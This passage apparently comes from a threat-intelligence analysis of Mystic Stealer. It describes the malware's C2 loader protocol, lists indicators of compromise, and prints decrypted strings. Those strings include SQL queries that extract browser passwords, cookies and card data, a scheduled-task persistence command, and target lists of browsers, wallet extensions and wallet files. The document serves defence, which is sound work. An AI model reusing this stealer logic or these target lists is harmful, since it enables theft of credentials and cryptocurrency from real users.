m|%appdata%Ethereum|keystore|0|Wallets/Electrum|%appdata%Electrumw
allets|*.*|0|Wallets/ElectrumLTC|%appdata%Electrum-LTCwallets|*.*|0
|Wallets/Electron
Cash|%appdata%ElectronCashwallets|*.*|0|Wallets/MultiDoge|%appdata%
MultiDoge|multidoge.wallet|0|Wallets/Jaxx Desktop
Old|%appdata%jaxxLocal Storage|file__0.localstorage|0
The format for each targeted file is shown below:
Directory name|Location on disk|Target files mask|Flag
The flag parameter indicates whether Mystic Stealer should recursively search the target directory. Once finished, a ādoneā msg is sent, to indicate the file stealing task is finished.
Loader
A āloaderā msg can be sent by Mystic Stealer to the C2 server to request additional second-stage malware payloads, as shown below:
POST /loghub/master HTTP/1.1
Content-Type: multipart/form-data; boundary=<boundary>
Content-Length: NNN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Host: X.X.X.X
Connection: Keep-Alive
Cache-Control: no-cache
–<boundary>
Content-Disposition: form-data; name="msg"
BASE64("loader")
–<boundary>
Content-Disposition: form-data; name="token"
BASE64(<token>)
–<boundary>–
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Thu, 11 Sep 2023 HH:MM:SS GMT
Content-Type: text/html; charset=utf-8
Content-Length: NNN
Connection: keep-alive
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin
BASE64(OK |1|BASE64(exe1)| |1|BASE64(exe2)| ….|1|BASE64(exeN))
The response to the loader request is an initial Base64 encoded layer containing an OK response with a set of one or more Base64 encoded executables:
Figure 3: Base64 encoded executables downloaded by Mystic Stealer
The packet follows this format:
|1|BASE64(exe1)| |1|BASE64(exe2)| ….|1|BASE64(exeN)
The parameter that precedes the Base64 encoded executable does not appear to be currently used, although it may indicate a potential feature that has yet to be implemented such as whether to write the binary to disk or inject it into another process. After downloading and executing these binary payloads, Mystic Stealer sends a final POST request with the message āloadercodeā. The C2 server will then return an empty response.
Debug Builds
Zscaler ThreatLabz has found recent samples compiled in September and October 2023, which contain plaintext strings that typically are obfuscated in other samples:
Figure 4: Mystic Stealer debug version plaintext strings
In addition, these samples have string references with full file paths (instead of a relative path like ..chromiumbrowsers.cpp in non-debug samples) to the original C++ code. Interestingly, the username in these full paths is will. ThreatLabz suspects these samples are compiled from code that is still in development where they could be testing improvements and new features.
Conclusion
Even though Mystic Stealer is a relatively new information stealing malware, ThreatLabz has observed a significant increase in threat actors leveraging it to deploy additional malware. The developer behind Mystic Stealer is continuously modifying and improving the code, and the malware is quickly evolving. The C2 communication protocol used by Mystic Stealer has switched from a custom binary protocol to an HTTP-based protocol, likely to improve beaconing from infections in corporate environments that leverage firewalls to filter suspicious network traffic. Based on the number of new Mystic Stealer samples and C2 panels, the malware is likely to continue to pose a threat to organizations.
In addition to staying on top of these threats, Zscaler's ThreatLabz team continuously monitors for new threats and shares its findings with the wider community.
Cloud Sandbox
Zscalerās multilayered cloud security platform detects indicators related to Mystic Stealer at various levels.
Indicators of Compromise (IoCs)
Hash
First Seen
Expiration Date
Botnet ID
C2
6203249bebf7248535ff5ef70a7c5a57
688b399d91ac63c9d73441af6e65f184
2023-10-08 08:36:29 UTC
2023-11-09T20:02:21
15
hxxp://171.22.28[.]235/loghub/master
7eb8617d09f204dd40541a000f98810
19ff103ff330cb0e7aebb8c3a160cfd26
2023-09-29 15:30:00 UTC
2023-10-26T11:48:42
Chung
hxxp://194.87.31[.]123/loghub/master
21a8db193093caf6acbcd14ba64c9
8a1c9f16998cade8f60fa0fb4dc63e33bd2
2023-09-18 21:36:22 UTC
2023-09-22T12:35:08
mema
hxxp://5.42.92[.]211/loghub/master
7003eadaef73ac1f2e0f0a86a3d1f57
92a5dde3a45ba71e095861b55059b3780
2023-09-07 07:53:28 UTC
2023-09-12T20:08:32
tresk
hxxp://5.42.92[.]211/loghub/master
00fe26cfe465740e61b99f105bcf251
6ff49e117f23f4b508d5256c57fa3fc66
2023-06-26 05:51:47 UTC
2023-07-24T18:48:13
sup
hxxp://188.40.116[.]251:8005/loghub/master
Appendix
Decrypted Malware Strings
%08lX%04lX%lu
%ix%i
%ls %ls
%ls [%ls %d] ERROR in %s, line %d, function %s. %s
%ls%ls
%ls%lsLocal State
%ls*
%lsWeb Data
%lscookies.sqlite
%lsformhistory.sqlite
%lsplaces.sqlite
%s/%s
%userprofile%Telegram Desktoptdata
&&" **(# +
&0'fg{199
(ov_(ov
,+& ##*
-t{d2
..*($2nd-2d-2o595
..stealerchromiumbrowsers.cpp
..stealerfilesgrabber.cpp
..stealergeckobrowsers.cpp
..stealerhttpclient.cpp
..stealerloader.cpp
..stealersqlite3.cpp
..stealerstealer.cpp
/c schtasks /create /F /sc minute /mo 15 /tr "%ls" /tn "WindowsAppPool%ls"
LeaveCriticalSection
EnterCriticalSection
Advapi32.dll
Autofills/%ls_%ls.txt
Available KeyboardLayouts: Gonna gather system information
Build mark:
CPU:
Can't add task in task scheduleO, COeatePOocessW fails; last eOOoO: %x
Can't obtain RmStartSession's address, maybe windows don't support RestartManager
Can't start process; last error: %x
Can't write file; last error: %x
Card:
Chromium browsers paths were retrieved
ComSpec
Command line: %ls
ComputerName:
Config retrieved: %d, %d, %d, %d, %d, %d, %d, %d, %d, %d
Content-Disposition: form-data; name="%s"
Content-Length: %d
Content-Type: multipart/form-data; boundary=%s
Cookies
Cookies/%ls_%ls.txt
Country: {country}
CreditCards/%ls_%ls.txt
Current language:
Default
Email
Email/Credentials.txt
Email:
EnterCriticalSection
Expand path: %ls
Extensions were retrieved
FALSE
Failed to connect to %s
Failed to download sqlite3.dll
Failed to export functions from sqlite3.dll
Failed to load sqlite3.dll
Failed to retrieve chromium browsers paths
Failed to retrieve files grabber paths
Failed to retrieve gecko browsers paths
File Location:
Files grabber paths were retrieved
FilesGrabber: Sent %ls
Find chromium cookies db %ls
Find chromium extension %ls with id %ls
Find chromium history db %ls
Find chromium login data db %ls
Find chromium web data db %ls
Find gecko autofills db %ls
Find gecko cookies db %ls
Find gecko file %ls
Find gecko history db %ls
Find steam data, path %ls
Gdi32.dll
Gecko browsers were retrieved
Gecko/%ls/%ls/%ls
GetModuleHandleA
Global%s%x
Gonna gather system information
Gonna grab ChromiumBrowsers
Gonna grab GeckoBrowsers
Gonna grab files
Gonna grab outlook
Gonna grab steam
Gonna grab telegrab
Gonna take screenshot
GrabFiles
HH':'mm':'ss
HWID:
HandleChromiumBrowsers
HandleGeckoBrowsers
Hardwares:
History/%ls_%ls.txt
Holder:
HttpOpenRequest fails; last error: %x
HttpQueryInfo fails; last error: %x
IMAP Password
IP: {ip}
InitializeCriticalSection
InternetConnect fails; last error: %x
InternetCrackUrl fails; last error: %x
InternetOpen fails; last error: %x
Kernel32.dll
Key:
LeaveCriticalSection
Location: {location}
Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)
Name:
NetworkCookies
Ntdll.dll
..stealergeckobrowsers.cpp
Ole32.dll
Operation System:
POP3 Password
Password:
ProductName
Request
Retrieve rule FilesGrabber, server side path: %ls
Rstrtmgr.dll
Rstrtmgr.dllls GetModuleHandleA %sEnterCriticalSections. LeaveCriticalSection
SELECT expiration_month, expiration_year, name_on_card, card_number_encrypted FROM credit_cards
SELECT fieldname, value FROM moz_formhistory
SELECT host, isHttpOnly, path, isSecure, expiry, name, value FROM moz_cookies
SELECT host_key, is_httponly, path, is_secure, expires_utc, name, encrypted_value FROM cookies
SELECT origin_url, username_value, password_value FROM logins
SELECT title, url FROM moz_places
SELECT url, title FROM urlsFind chromium history db %ls
SMTP Server
ScreenSize:
Screenshot.jpeg
Sent log. Gonna send done message
Sent screenshot
SoftwareMicrosoftOffice
SoftwareValveSteam
Sq~70
SrartLoader
Start
SteamPath
Successfully connected to %s
Successfully start process
SystemInformation.txt
Telegram
There's file to load. Gonna load it
TimeZone: {timezone}
Title:
Tkernel32.dll
Token retrieved: %s
Trying to connect to %s
URL:
USERPROFILE|tELEGRAMdESKTOP|TDATA
Url:
User32.dll
UserName:
Username:
Value:
Wallets/%ls_%ls_%ls
Wininet.dllCrypt32.dll
Wininet.dllCrypt32.dllGdiplus.dll
Wininet.dllCrypt32.dllGdiplus.dllShlwapi.dllKernel32.dll
Write file content in %ls
Zip code: {zipcode}
abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789
build
cert8.db
cert9.db
chromium-browsers
computername
encrypted_key
extensions
filename
files
done
files
gecko-browsershi
Sent system information
kernel32.dll
key3.db
key4.db
loader
loghub/master
logins.json
msgtzn
SOFTWAREMicrosoftWindows NTCurrentVersion
signons.sqlite
sqlite3
sqlite3_close
sqlite3_column_blob
sqlite3_column_bytes
sqlite3_column_text
sqlite3_open
sqlite3_open_v2
sqlite3_open_v2sqlite3_finalize
sqlite3_prepare_v2
sqlite3_step
token
username
wallets
Targeted Chromium Browsers
Citrio|%localappdata%CatalinaGroupCitrioUser Data
Coowon|%localappdata%CoowonCoowonUser Data
Liebao|%localappdata%liebaoUser Data
QIP Surf|%localappdata%QIP SurfUser Data
Orbitum|%localappdata%OrbitumUser Data
Comodo Dragon|%localappdata%ComodoDragonUser Data
Amigo|%localappdata%AmigoUserUser Data
Torch|%localappdata%TorchUser Data
Yandex Browser|%localappdata%YandexYandexBrowserUser Data
Comodo|%localappdata%ComodoUser Data
360Browser|%localappdata%360BrowserBrowserUser Data
Maxthon3|%localappdata%Maxthon3User Data
K-Melon|%localappdata%K-MelonUser Data
Sputnik|%localappdata%SputnikSputnikUser Data
Nichrome|%localappdata%NichromeUser Data
CocCoc|%localappdata%CocCocBrowserUser Data
Uran|%localappdata%UranUser Data
Chromodo|%localappdata%ChromodoUser Data
Mail.Ru|%localappdata%Mail.RuAtomUser Data
Brave Browser|%localappdata%BraveSoftwareBrave-BrowserUser Data
Opera|%appdata%Opera SoftwareOpera Stable
Google Chrome|%localappdata%GoogleChromeUser Data
Microsoft Edge|%localappdata%MicrosoftEdgeUser Data
Chromium|%localappdata%ChromiumUser Data
Opera|%localappdata%Opera Software|ChromePlus
%localappdata%MapleStudioChromePlusUser Data
Irpathium|%localappdata%IrpathiumUser Data
7Star|%localappdata%7Star7StarUser Data
CentBrowser|%localappdata%CentBrowserUser Data
Chedot|%localappdata%ChedotUser Data
Vivaldi|%localappdata%VivaldiUser Data
Kometa|%localappdata%KometaUser Data
Elements Browser|%localappdata%Elements BrowserUser Data
Epic Privacy Browser|%localappdata%Epic Privacy BrowserUser Data
Uran|%localappdata%uCozMediaUranUser Data
Sleipnir|%localappdata%Fenrir IncSleipnir5settingmodulesChromiumViewer
Targeted Gecko Browsers
Firefox|%appdata%MozillaFirefoxProfiles
Comodo IceDragon|%appdata%ComodoIceDragonProfiles
BlackHawk|%appdata%NETGATE TechnologiesBlackHawkProfiles
Cyberfox|%appdata%8pecxstudiosCyberfoxProfiles
K-Meleon|%appdata%K-MeleonProfiles
Icecat|%appdata%MozillaicecatProfiles
Targeted Browser Extensions
Coinbase Wallet|hnfanknocfeofbddgcijnmhnfnkdnaad
Guarda|hpglfhgfnhbgpjdenjgmdgoeiappafln
EQUAL Wallet|blnieiiffboillknjnepogjhkgnoapac
Jaxx Liberty|cjelfplplebdjjenllpjcblmjkfcffne
BitApp Wallet|fihkakfobkmkjojpchpfgcmhfjnmnfpi
iWallet|kncchdigobghenbbaddojjnnaogfppfj
Wombat|amkmjjmmflddogmhpjloimipbofnfjih
MEW CX|nlbmnnijcnlegkjjpcfjclmcfggfefdm
GuildWallet|nanjmdknhkinifnkgdcggcfnhdaammmj
Saturn Wallet|nkddgncdjgjfcddamfgcmfnlhccnimig
Ronin Wallet|fnjhmkhhmkbjkkabndcnnogagogbneec
NeoLine|cphhlgmgameodnhkjdmkpanlelnlohao
CLV Wallet|nhnkbkgjikgcigadomkphalanndcapjk
Liquality Wallet|kpfopkelmapcoipemfendmdcghnegimn
Terra Station|aiifbnbfobpmeekipheeijimdpnlpgpp
Keplr|dmkamcknogkgcdfhhbddcghachkejeap
Sollet|fhmfendgdocmcbmfikdcogofphimnkno
Auro Wallet|cnmamaachppnkjgnildpdmkaakejnhae
Polymesh Wallet|jojhfeoedkpkglbfimdfabpdfjaoolaf
ICONex|flpiciilemghbmfalicajoolhkkenfel
Nabox Wallet|nknhiehlklippafakaeklbeglecifhad
KHC|hcflpincpppdclinealmandijcmnkbgn
MetaMask|nkbihfbeogaeaoehlefnkodbefgpgknn
TronLink|ibnejdfjmmkpcnlpebklmnkoeoihofec
Binance Chain Wallet|fhbohimaelbohpjbbldcngcnapndodjp
Yoroi|ffnbelfdoeiohenkjibnmadjiehjhajb
Nifty Walletjbdaocneiiinmjbjlgalhcelgbejmnpath
Math Wallet|afbcbjpbpfadlkmhmclhkeeodmamcflc
Temple|ookjlbkiijinhpmnjffcofjonbfbgaoc
TezBox|mnfifefkajgofkcjkempathiaecocnkjeh
DAppPlay|lodccjjbdhfakaekdiahmedfbieldgik
BitClip|ijmpgkjfkbfhoebgogflfebnmejmfbml
Steem Keychain|lkcjlnjfpbikmcmbachjpdbijejflpcm
Nash Extension|onofpnbbkehpmmoabgpcpmigafmmnjhl
Hycon Lite Client|bcopgchhojmggmffilplmbdicgaihlkp
ZilPay|klnaejjgbibmhlephnhpmaofohgkpgkd
Coin98 Wallet|aeachknmefphepccionboohckonoeemg
Authenticator|bhghoamapcdpbohphigoooaddinpkbai
Cyano Wallet|dkdedlpgdmmkkfjabffeganieamfklkm
Byone|nlgbhdfgdhgbiamfdfmbikcdghpathoadd
OneKey|infeboajgfhgbjpjbeppbkgnabfdkdaf
LeafWallet|cihmoadaighcejopammfbmddcmdekcje
Authy|gaedmjdfmmahhbjefcbgaolhhanlaolb
EOS Authenticator|oeljdldpnmdbchonielpathgobddffflal
GAuth Authenticator|ilgcnhelpchnceeipipijaljkblbcobl
Trezor Password Manager|imloifkgjagghnncjkhggdhalmcnfklk
Ever|cgeeodpfagjceefieflmdfphplkenlfk
KardiaChain|pdadjkfkgcafgbceimcpbkalnfnepbnk
Rabby|acmacodkjbdgmoleebolmdjonilkdbch
Phantom|bfnaelmomeimhlpmgjnjophhpkkoljpa
Oxygen|fhilaheimglignddkjgofkcbgekhenbh
Pali|mgffkfbpathihjpoaomajlbgchddlicgpn
XDEFI|hmeobnfnfcmdkdcmlblgagmfpfboieaf
Nami|lpfcbjknijpeeillifnkikgncikgfhdo
MultiversX DeFi Wallet|dngmlblcodfobpdpecaadgfbcggfjfnm
Keeper|lpilbniiabackdjcionkobglmddfbcjo
Softlare|bhhhlbepdkbapadjdnnojkbgioiodbic
Govy|jnkelfanjkeadonecabehalmbgpfodjm
SteemKeychain|jhgnbkkipaallpehbohjmkbjofjdmepath
Braavos|jnlgamecbpmbajjfhmmmlhejkemejdma
Enkrypt|kkpllkodjelopathieedojogacfhpaihoh
OKX|mcohilncbfahbmgdjkbpemcciiolgcge
HashPack|gjagmgpathdbbciopjhllkdnddhcglnemk
Eternl|kmhcihpebfmpgmihbkipmjlmmioameka
Pontem Aptos|phkbamefinggmakgklpkljjmgibohnba
Martianin|efbglgofoippbgcjepnhiblaibcnclgk
Finnie|cjmkndjhnagcfbpiemnkdpomccnjblmj
Leap Terra|aijcbedoijmgnlmjeegjaglmepbmpkpi
Dashlane|fdjamakpfbbddfjaooikfcpapjohcfmg
NordPass|fooolghllnmhmmndgjiamiiodkpenpbb
Roboform|pnlccmojcmeohlpggmfnbbiapkmbliob
LastPass|hdokiejnpimakedhajhdlcegeplioahd
BrowserPass|naepdomgkenhinolocfifgehpathddafch
MYKI|bmikpgodpkclnkgmnpphehdgcimmpathed
Targeted Cryptocurrency Wallets
Wallets/Jaxx Desktop|%appdata%com.liberty.jaxxIndexedDBfile__0.indexeddb.leveldb|*.*|0
Wallets/Atomic|%appdata%atomicLocal Storageleveldb|*.*|0
Wallets/Binance|%appdata%Binance|app-store.json,simple-storage.json,.finger-print.fp|0
Wallets/Coinomi|%appdata%CoinomiCoinomiwallets|.wallet,*.config|0
Wallets/Exodus|%appdata%Exodus|exodus.conf.json,window-state.json,passphrase.json,seed.seco,info.seco|1
Wallets/Bitcoin Core|%appdata%Bitcoinwallets|wallet.dat|1
Wallets/Bitcoin Core Old|%appdata%Bitcoin|*wallet*.dat|0
Wallets/Dogecoin|%appdata%Bitcoinwallets|*wallet*.dat|0
Wallets/Raven Core|%appdata%Raven|*wallet*.dat|0
Wallets/Daedalus Mainnet|%appdata%Daedalus Mainnetwallets|she*.sqlite|0
Wallets/Blockstream Green|%appdata%BlockstreamGreenwallets|*.*|1
Wallets/Wasabi Wallet|%appdata%WalletWasabiClientWallets|*.json|0
Wallets/Ethereum|%appdata%Ethereum|keystore|0
Wallets/Electrum|%appdata%Electrumwallets|*.*|0
Wallets/ElectrumLTC|%appdata%Electrum-LTCwallets|*.*|0
Wallets/Electron Cash|%appdata%ElectronCashwallets|*.*|0
Wallets/MultiDoge|%appdata%MultiDoge|multidoge.wallet|0
Wallets/Jaxx Desktop Old|%appdata%jaxxLocal Storage|file__0.localstorage|0